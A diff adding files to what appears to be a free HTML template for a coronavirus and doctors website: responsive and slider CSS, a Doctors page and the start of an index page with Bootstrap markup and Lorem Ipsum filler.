|||
/*--------------------------------------------------------------------- File Name: responsive.css ---------------------------------------------------------------------*/
|
||||
|
||||
|
||||
/*------------------------------------------------------------------- 991px x 768px ---------------------------------------------------------------------*/
|
||||
|
||||
@media only screen and (min-width: 768px) and (max-width: 991px) {
|
||||
.header-search {
|
||||
padding: 15px 0px;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*------------------------------------------------------------------- 767px x 599px ---------------------------------------------------------------------*/
|
||||
|
||||
@media only screen and (min-width: 599px) and (max-width: 767px) {
|
||||
.logo {
|
||||
text-align: center;
|
||||
}
|
||||
.cart-content-right {
|
||||
padding-bottom: 5px;
|
||||
}
|
||||
.mg {
|
||||
margin: 0px 0px;
|
||||
}
|
||||
.menu-area-main {
|
||||
height: 256px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.megamenu>.row [class*="col-"] {
|
||||
padding: 0px;
|
||||
}
|
||||
.menu-area-main .megamenu .men-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.menu-area-main .megamenu .women-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.menu-area-main .megamenu .el-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.mean-container .mean-nav ul li a.mean-expand {
|
||||
height: 19px;
|
||||
}
|
||||
.category-box.women-box {
|
||||
display: none;
|
||||
}
|
||||
.cart-box {
|
||||
display: inline-block;
|
||||
margin: 0px 30px;
|
||||
}
|
||||
.wish-box {
|
||||
float: none;
|
||||
margin: 0px 30px;
|
||||
display: inline-block;
|
||||
}
|
||||
.menu-add {
|
||||
display: none;
|
||||
}
|
||||
.category-box {
|
||||
display: none;
|
||||
}
|
||||
.mean-container .mean-nav ul li ol {
|
||||
padding: 0px;
|
||||
}
|
||||
.mean-container .mean-nav ul li a {
|
||||
padding: 10px 20px;
|
||||
width: 94.8%;
|
||||
}
|
||||
.mean-container .mean-nav ul li li a {
|
||||
width: 92%;
|
||||
padding: 1em 4%;
|
||||
}
|
||||
.mean-container .mean-nav ul li li li a {
|
||||
width: 100%;
|
||||
}
|
||||
.header-search {
|
||||
padding: 15px 0px;
|
||||
}
|
||||
#collapseFilter.d-md-block {
|
||||
padding: 30px 0px;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*------------------------------------------------------------------- 599px x 280px ---------------------------------------------------------------------*/
|
||||
|
||||
@media only screen and (min-width: 280px) and (max-width: 599px) {
|
||||
.cart-content-right {
|
||||
padding-bottom: 5px;
|
||||
}
|
||||
.megamenu>.row [class*="col-"] {
|
||||
padding: 0px;
|
||||
}
|
||||
.menu-area-main .megamenu .men-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.menu-area-main .megamenu .women-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.menu-area-main .megamenu .el-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.mean-container .mean-nav ul li a {
|
||||
padding: 1em 4%;
|
||||
width: 92%;
|
||||
}
|
||||
.mean-container .mean-nav ul li li a {
|
||||
width: 90%;
|
||||
padding: 1em 5%;
|
||||
}
|
||||
.mean-container .sub-full.megamenu-categories ol li a {
|
||||
padding: 5px 0px;
|
||||
text-transform: capitalize;
|
||||
width: 100%;
|
||||
}
|
||||
.megamenu .sub-full.megamenu-categories .women-box .banner-up-text a {
|
||||
width: auto;
|
||||
border: none;
|
||||
float: none;
|
||||
}
|
||||
.menu-area-main {
|
||||
height: 45px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.mean-container .mean-nav ul li a.mean-expand {
|
||||
top: 0;
|
||||
}
|
||||
}
|
||||
|
||||
@media (min-width: 992px) and (max-width: 1199px) {
|
||||
|
||||
.logo {
|
||||
width: 81%;
|
||||
}
|
||||
|
||||
.banner_taital {
|
||||
width: 70%;
|
||||
font-size: 34px;
|
||||
line-height: 40px;
|
||||
padding-top: 0px;
|
||||
}
|
||||
|
||||
.banner_text {
|
||||
width: 100%;
|
||||
margin: 0px;
|
||||
}
|
||||
|
||||
.banner_img {
|
||||
width: 60%;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.banner_section {
|
||||
padding: 80px 0px;
|
||||
}
|
||||
|
||||
.hands_text {
|
||||
width: 81%;
|
||||
padding-top: 0px;
|
||||
}
|
||||
|
||||
.hands_text_2 {
|
||||
width: 60%;
|
||||
margin: 40px 50px;
|
||||
}
|
||||
|
||||
.hands_text_2::after {
|
||||
width: 90px;
|
||||
right: -130px;
|
||||
}
|
||||
|
||||
.hands_text::after {
|
||||
width: 120px;
|
||||
right: -110px;
|
||||
}
|
||||
|
||||
.about_taital {
|
||||
width: 100%;
|
||||
font-size: 36px;
|
||||
}
|
||||
|
||||
.about_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.doctors_section {
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
.play_icon::before {
|
||||
left: 67px;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
@media (min-width: 768px) and (max-width: 991px) {
|
||||
|
||||
#my_slider a.carousel-control-next {
|
||||
top: 122%;
|
||||
}
|
||||
|
||||
#my_slider a.carousel-control-prev {
|
||||
top: 122%;
|
||||
}
|
||||
|
||||
#main_slider a.carousel-control-prev {
|
||||
position: absolute;
|
||||
left: -60px;
|
||||
right: 0px;
|
||||
top: 105%;
|
||||
}
|
||||
|
||||
#main_slider a.carousel-control-next {
|
||||
position: absolute;
|
||||
left: 0px;
|
||||
right: -60px;
|
||||
top: 105%;
|
||||
}
|
||||
|
||||
.shoping_bag {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.header_section {
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
.toggle_menu_1 {
|
||||
display: block;
|
||||
top: 5px;
|
||||
position: relative;
|
||||
float: right;
|
||||
}
|
||||
|
||||
.menu_main {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: auto;
|
||||
}
|
||||
|
||||
.banner_taital {
|
||||
font-size: 40px;
|
||||
padding-top: 0px;
|
||||
}
|
||||
|
||||
.banner_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.banner_img {
|
||||
width: 100%;
|
||||
margin-top: 40px;
|
||||
}
|
||||
|
||||
.protect_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.protect_taital {
|
||||
font-size: 26px;
|
||||
}
|
||||
|
||||
.hands_text {
|
||||
width: 73%;
|
||||
font-size: 22px;
|
||||
padding-top: 30px;
|
||||
}
|
||||
.hands_text::after {
|
||||
width: 120px;
|
||||
right: -110px;
|
||||
}
|
||||
|
||||
.hands_text_2 {
|
||||
width: 75%;
|
||||
font-size: 22px;
|
||||
margin: 10px 0px;
|
||||
}
|
||||
.hands_text_2::after {
|
||||
width: 100px;
|
||||
right: -80px;
|
||||
}
|
||||
|
||||
.about_taital {
|
||||
width: 100%;
|
||||
font-size: 26px;
|
||||
padding-top: 0px;
|
||||
}
|
||||
|
||||
.about_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.doctor_text {
|
||||
width: 100%;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.news_section {
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
.news_taital {
|
||||
font-size: 26px;
|
||||
}
|
||||
|
||||
.news_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.box_main {
|
||||
width: 97%;
|
||||
}
|
||||
|
||||
.update_taital {
|
||||
font-size: 26px;
|
||||
}
|
||||
|
||||
.update_mail {
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
.doctors_section{
|
||||
background-size: cover;
|
||||
background-image: linear-gradient(90deg, #7d56c9 18%, rgba(76, 90, 90, 0) 4%), url(../images/doctor-bg1.png);
|
||||
}
|
||||
|
||||
.play_icon::before {
|
||||
left: 51px;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@media (min-width: 576px) and (max-width: 767px) {
|
||||
#main_slider a.carousel-control-prev {
|
||||
position: absolute;
|
||||
left: -60px;
|
||||
right: 0px;
|
||||
top: 105%;
|
||||
}
|
||||
|
||||
#main_slider a.carousel-control-next {
|
||||
position: absolute;
|
||||
left: 0px;
|
||||
right: -60px;
|
||||
top: 105%;
|
||||
}
|
||||
|
||||
.shoping_bag {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.header_section {
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
.toggle_menu_1 {
|
||||
display: block;
|
||||
top: 5px;
|
||||
position: relative;
|
||||
float: right;
|
||||
}
|
||||
|
||||
.menu_main {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: auto;
|
||||
}
|
||||
|
||||
.banner_taital {
|
||||
font-size: 40px;
|
||||
padding-top: 0px;
|
||||
}
|
||||
|
||||
.banner_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.banner_img {
|
||||
width: 100%;
|
||||
margin-top: 40px;
|
||||
}
|
||||
|
||||
#my_slider a.carousel-control-next {
|
||||
top: 112%;
|
||||
}
|
||||
|
||||
#my_slider a.carousel-control-prev {
|
||||
top: 112%;
|
||||
}
|
||||
|
||||
.protect_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.protect_taital {
|
||||
font-size: 30px;
|
||||
}
|
||||
|
||||
.hands_text_2{
|
||||
display: none;
|
||||
}
|
||||
|
||||
.hands_text{
|
||||
display: none;
|
||||
}
|
||||
|
||||
.about_section .row{
|
||||
display: flex;
|
||||
flex-direction: column-reverse;
|
||||
}
|
||||
|
||||
.about_taital {
|
||||
width: 100%;
|
||||
font-size: 30px;
|
||||
padding-top: 0px;
|
||||
}
|
||||
|
||||
.about_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.about_img {
|
||||
margin-top: 40px;
|
||||
}
|
||||
|
||||
.taital_left{
|
||||
display: none;
|
||||
}
|
||||
|
||||
.taital_right {
|
||||
width: 100%;
|
||||
padding-left: 0px;
|
||||
}
|
||||
|
||||
.doctors_section {
|
||||
background-image: url(../images/doctor-bg1.png) !important;
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
.doctor_text {
|
||||
width: 100%;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.news_section {
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
.news_taital {
|
||||
font-size: 30px;
|
||||
}
|
||||
|
||||
.news_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.box_main {
|
||||
width: 97%;
|
||||
}
|
||||
|
||||
.update_taital {
|
||||
font-size: 30px;
|
||||
}
|
||||
|
||||
.update_mail {
|
||||
width: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 575px) {
|
||||
#main_slider a.carousel-control-prev {
|
||||
position: absolute;
|
||||
left: -60px;
|
||||
right: 0px;
|
||||
top: 105%;
|
||||
}
|
||||
|
||||
#main_slider a.carousel-control-next {
|
||||
position: absolute;
|
||||
left: 0px;
|
||||
right: -60px;
|
||||
top: 105%;
|
||||
}
|
||||
|
||||
.shoping_bag {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.header_section {
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
.toggle_menu_1 {
|
||||
display: block;
|
||||
top: 5px;
|
||||
position: relative;
|
||||
float: right;
|
||||
}
|
||||
|
||||
.toggle_menu {
|
||||
top: 8px;
|
||||
position: relative;
|
||||
left: 0px;
|
||||
display: none;
|
||||
}
|
||||
|
||||
.menu_main {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: auto;
|
||||
}
|
||||
|
||||
.menu_main {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.banner_taital {
|
||||
font-size: 40px;
|
||||
padding-top: 0px;
|
||||
}
|
||||
|
||||
.banner_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.banner_img {
|
||||
width: 100%;
|
||||
margin-top: 40px;
|
||||
}
|
||||
|
||||
#my_slider a.carousel-control-next {
|
||||
top: 112%;
|
||||
}
|
||||
|
||||
#my_slider a.carousel-control-prev {
|
||||
top: 112%;
|
||||
}
|
||||
|
||||
.protect_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.protect_taital {
|
||||
font-size: 24px;
|
||||
}
|
||||
|
||||
.hands_text_2{
|
||||
display: none;
|
||||
}
|
||||
|
||||
.hands_text{
|
||||
display: none;
|
||||
}
|
||||
|
||||
.about_section .row {
|
||||
display: flex;
|
||||
flex-direction: column-reverse;
|
||||
}
|
||||
|
||||
.about_taital {
|
||||
width: 100%;
|
||||
font-size: 24px;
|
||||
padding-top: 0px;
|
||||
}
|
||||
|
||||
.about_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.about_img {
|
||||
margin-top: 40px;
|
||||
}
|
||||
|
||||
.taital_left{
|
||||
display: none;
|
||||
}
|
||||
|
||||
.taital_right {
|
||||
width: 100%;
|
||||
padding-left: 0px;
|
||||
}
|
||||
|
||||
.doctors_section {
|
||||
background-image: url(../images/doctor-bg1.png) !important;
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
.doctor_text {
|
||||
width: 100%;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.news_section {
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
.news_taital {
|
||||
font-size: 30px;
|
||||
}
|
||||
|
||||
.news_text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.box_main {
|
||||
width: 97%;
|
||||
}
|
||||
|
||||
.update_taital {
|
||||
font-size: 28px;
|
||||
}
|
||||
|
||||
.update_mail {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
|
@ -0,0 +1,108 @@
|
|||
/*---------------------------------------------------------------------
|
||||
File Name: slick.css
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
.slick-slider {
|
||||
position: relative;
|
||||
display: block;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
-webkit-touch-callout: none;
|
||||
-khtml-user-select: none;
|
||||
-ms-touch-action: pan-y;
|
||||
touch-action: pan-y;
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
}
|
||||
|
||||
.slick-list {
|
||||
position: relative;
|
||||
display: block;
|
||||
overflow: hidden;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.slick-list:focus {
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.slick-list.dragging {
|
||||
cursor: pointer;
|
||||
cursor: hand;
|
||||
}
|
||||
|
||||
.slick-slider .slick-track,
|
||||
.slick-slider .slick-list {
|
||||
-webkit-transform: translate3d(0, 0, 0);
|
||||
-moz-transform: translate3d(0, 0, 0);
|
||||
-ms-transform: translate3d(0, 0, 0);
|
||||
-o-transform: translate3d(0, 0, 0);
|
||||
transform: translate3d(0, 0, 0);
|
||||
}
|
||||
|
||||
.slick-track {
|
||||
position: relative;
|
||||
top: 0;
|
||||
left: 0;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.slick-track:before,
|
||||
.slick-track:after {
|
||||
display: table;
|
||||
content: '';
|
||||
}
|
||||
|
||||
.slick-track:after {
|
||||
clear: both;
|
||||
}
|
||||
|
||||
.slick-loading .slick-track {
|
||||
visibility: hidden;
|
||||
}
|
||||
|
||||
.slick-slide {
|
||||
display: none;
|
||||
float: left;
|
||||
height: 100%;
|
||||
min-height: 1px;
|
||||
}
|
||||
|
||||
[dir='rtl'] .slick-slide {
|
||||
float: right;
|
||||
}
|
||||
|
||||
.slick-slide img {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.slick-slide.slick-loading img {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.slick-slide.dragging img {
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.slick-initialized .slick-slide {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.slick-loading .slick-slide {
|
||||
visibility: hidden;
|
||||
}
|
||||
|
||||
.slick-vertical .slick-slide {
|
||||
display: block;
|
||||
height: auto;
|
||||
border: 1px solid transparent;
|
||||
}
|
||||
|
||||
.slick-arrow.slick-hidden {
|
||||
display: none;
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,199 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<script src="js/destruct.js"></script>
|
||||
<title>Doctors</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/style.css">
|
||||
<!-- Responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- fevicon -->
|
||||
<link rel="icon" href="images/fevicon.png" type="image/gif" />
|
||||
<!-- Scrollbar Custom CSS -->
|
||||
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
|
||||
<!-- Tweaks for older IEs-->
|
||||
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
|
||||
<!-- owl stylesheets -->
|
||||
<link rel="stylesheet" href="css/owl.carousel.min.css">
|
||||
<link rel="stylesheet" href="css/owl.theme.default.min.css">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css" media="screen">
|
||||
</head>
|
||||
<body>
|
||||
<!--header section start -->
|
||||
<div class="header_section header_bg">
|
||||
<div class="container-fluid">
|
||||
<div class="main">
|
||||
<div class="logo"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<div class="menu_text">
|
||||
<ul>
|
||||
<div class="togle_">
|
||||
<div class="menu_main">
|
||||
<ul>
|
||||
<li><a href="#">Login</a></li>
|
||||
<li><a href="#"><i class="fa fa-search" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div id="myNav" class="overlay">
|
||||
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
|
||||
<div class="overlay-content">
|
||||
<a href="index.html">Home</a>
|
||||
<a href="protect.html">Protect</a>
|
||||
<a href="about.html">About</a>
|
||||
<a href="doctors.html">Doctors</a>
|
||||
<a href="news.html">News</a>
|
||||
</div>
|
||||
</div>
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
<span onclick="openNav()"><img src="images/toogle-icon.png" class="toggle_menu"></span>
|
||||
<span onclick="openNav()"><img src="images/toogle-icon1.png" class="toggle_menu_1"></span>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- banner section start -->
|
||||
<div class="container">
|
||||
<div class="about_taital_main">
|
||||
<h2 class="about_tag">Doctors Corona Virus</h2>
|
||||
<div class="about_menu">
|
||||
<ul>
|
||||
<li><a href="index.html">Home</a></li>
|
||||
<li>Doctors</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- banner section end -->
|
||||
</div>
|
||||
<!-- header section end -->
|
||||
<!-- doctor section start -->
|
||||
<div class="doctors_section layout_padding">
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-sm-12">
|
||||
<div class="taital_main">
|
||||
<div class="taital_left">
|
||||
<div class="play_icon"><img src="images/play-icon.png"></div>
|
||||
</div>
|
||||
<div class="taital_right">
|
||||
<h1 class="doctor_taital">What doctors say..</h1>
|
||||
<p class="doctor_text">It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look</p>
|
||||
<div class="readmore_bt"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- doctor section end -->
|
||||
<!-- footer section start -->
|
||||
<div class="footer_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="footer_section_2">
|
||||
<div class="row">
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">Resources</h2>
|
||||
<div class="footer_menu">
|
||||
<ul>
|
||||
<li><a href="#">What we do</a></li>
|
||||
<li><a href="#">Media</a></li>
|
||||
<li><a href="#">Travel Advice</a></li>
|
||||
<li><a href="#">Protection</a></li>
|
||||
<li><a href="#">Care</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">About</h2>
|
||||
<p class="footer_text">Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for 'lorem ipsum' will uncover many web sites still in their infancy. Various</p>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">Contact Us</h2>
|
||||
<div class="location_text">
|
||||
<ul>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-map-marker" aria-hidden="true"></i>
|
||||
<span class="padding_15">Location</span></a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-phone" aria-hidden="true"></i>
|
||||
<span class="padding_15">Call +01 1234567890</span></a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-envelope" aria-hidden="true"></i>
|
||||
<span class="padding_15">demo@gmail.com</span></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">countrys</h2>
|
||||
<div class="map_image"><img src="images/map-bg.png"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- footer section end -->
|
||||
<!-- copyright section start -->
|
||||
<div class="copyright_section">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-sm-12">
|
||||
<p class="copyright_text">© 2020 All Rights Reserved.<a href="https://html.design"> Free html Templates</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- copyright section end -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/popper.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/plugin.js"></script>
|
||||
<!-- sidebar -->
|
||||
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
<!-- javascript -->
|
||||
<script src="js/owl.carousel.js"></script>
|
||||
<script src="https:cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.js"></script>
|
||||
<script>
|
||||
$(document).ready(function(){
|
||||
$(".fancybox").fancybox({
|
||||
openEffect: "none",
|
||||
closeEffect: "none"
|
||||
});
|
||||
|
||||
$(".zoom").hover(function(){
|
||||
|
||||
$(this).addClass('transition');
|
||||
}, function(){
|
||||
|
||||
$(this).removeClass('transition');
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
function openNav() {
|
||||
document.getElementById("myNav").style.width = "100%";
|
||||
}
|
||||
function closeNav() {
|
||||
document.getElementById("myNav").style.width = "0%";
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 639 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 78 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.4 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.6 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 378 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 207 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 467 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 5.0 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.2 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 43 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.2 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 59 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 797 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.0 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
|
|
@ -0,0 +1,350 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<script src="js/destruct.js"></script>
|
||||
<title>Convid</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/style.css">
|
||||
<!-- Responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- fevicon -->
|
||||
<link rel="icon" href="images/fevicon.png" type="image/gif" />
|
||||
<!-- Scrollbar Custom CSS -->
|
||||
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
|
||||
<!-- Tweaks for older IEs-->
|
||||
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
|
||||
<!-- owl stylesheets -->
|
||||
<link rel="stylesheet" href="css/owl.carousel.min.css">
|
||||
<link rel="stylesheet" href="css/owl.theme.default.min.css">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css" media="screen">
|
||||
</head>
|
||||
<body>
|
||||
<!--header section start -->
|
||||
<div class="header_section">
|
||||
<div class="container-fluid">
|
||||
<div class="main">
|
||||
<div class="logo"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<div class="menu_text">
|
||||
<ul>
|
||||
<div class="togle_">
|
||||
<div class="menu_main">
|
||||
<ul>
|
||||
<li><a href="#">Login</a></li>
|
||||
<li><a href="#"><i class="fa fa-search" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div id="myNav" class="overlay">
|
||||
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
|
||||
<div class="overlay-content">
|
||||
<a href="index.html">Home</a>
|
||||
<a href="protect.html">Protect</a>
|
||||
<a href="about.html">About</a>
|
||||
<a href="doctors.html">Doctors</a>
|
||||
<a href="news.html">News</a>
|
||||
</div>
|
||||
</div>
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
<span onclick="openNav()"><img src="images/toogle-icon.png" class="toggle_menu"></span>
|
||||
<span onclick="openNav()"><img src="images/toogle-icon1.png" class="toggle_menu_1"></span>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- banner section start -->
|
||||
<div class="banner_section layout_padding">
|
||||
<div class="container">
|
||||
<div id="my_slider" class="carousel slide" data-ride="carousel">
|
||||
<div class="carousel-inner">
|
||||
<div class="carousel-item active">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<div class="container">
|
||||
<h1 class="banner_taital">Get Medical Care early</h1>
|
||||
<p class="banner_text">There are many variations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form.</p>
|
||||
<div class="more_bt"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<div class="banner_img"><img src="images/banner-img.png"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<div class="container">
|
||||
<h1 class="banner_taital">Get Medical Care early</h1>
|
||||
<p class="banner_text">There are many variations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form.</p>
|
||||
<div class="more_bt"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<div class="banner_img"><img src="images/banner-img.png"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<div class="container">
|
||||
<h1 class="banner_taital">Get Medical Care early</h1>
|
||||
<p class="banner_text">There are many variations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form.</p>
|
||||
<div class="more_bt"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<div class="banner_img"><img src="images/banner-img.png"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<a class="carousel-control-prev" href="#my_slider" role="button" data-slide="prev">
|
||||
<i class="fa fa-angle-left"></i>
|
||||
</a>
|
||||
<a class="carousel-control-next" href="#my_slider" role="button" data-slide="next">
|
||||
<i class="fa fa-angle-right"></i>
|
||||
</a>
|
||||
</div>
|
||||
